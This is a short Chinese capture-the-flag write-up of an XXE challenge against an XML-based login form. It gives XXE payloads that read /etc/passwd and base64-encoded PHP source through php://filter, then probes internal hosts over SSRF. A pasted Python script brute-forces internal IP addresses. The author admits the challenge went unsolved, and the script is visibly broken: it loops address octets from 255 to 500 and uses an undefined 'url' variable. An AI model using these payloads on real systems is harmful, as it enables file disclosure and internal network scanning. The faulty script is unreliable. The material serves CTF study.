解题
进入是登录框,查看源代码发现是传输xml信息,随便填信息然后抓包也发现了xml信息 admin1
尝试进行xxe注入
<?xml version="1.0" ?> <!DOCTYPE a[ <!ENTITY name SYSTEM "file:///etc/passwd">] > <user><username>&name;</username><password>1</password></user> 分别读取/etc/hosts /flag 等常见的 读不到,那么尝试读一下源码:(在做的过程中发现报错,可知路径) file:///var/www/html/doLogin.php 读不到 php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php 读到了,但是没什么信息,利用源码的账号密码登录也没用。 探测内网主机 /proc/net/arp /etc/hosts 发现有另外一个ip 用http协议访问 http://10.128.253.1 发现报错,尝试进行最后一位c段爆破 最后访问成功得到flag(没做出来,怀疑是buu问题)
|
记录
题目没做出来,利用http访问会很久,然后显示超时链接。
/etc/hosts下开两个环境,一个有ip一个没有ip,/proc/net/arp里一个有一个ip,一个两个ip。
都访问不了。
贴个网上的脚本
import requests as res
rawPayload='<?xml version="1.0"?>'\ '<!DOCTYPE user ['\ '<!ENTITY payload1 SYSTEM "http://169.254.1.{}">'\ ']>'\ '<user>'\ '<username>'\ '&payload1;'\ '</username>'\ '<password>'\ '23'\ '</password>'\ '</user>' for i in range(255,500): payload=rawPayload.format(i) print(str("#{} =>").format(i),end='') try: resp=res.post(url,data=payload,timeout=0.3) except: continue else: print(resp.text,end='') finally: print('')
|
参考
https://www.cnblogs.com/Article-kelp/p/16026652.html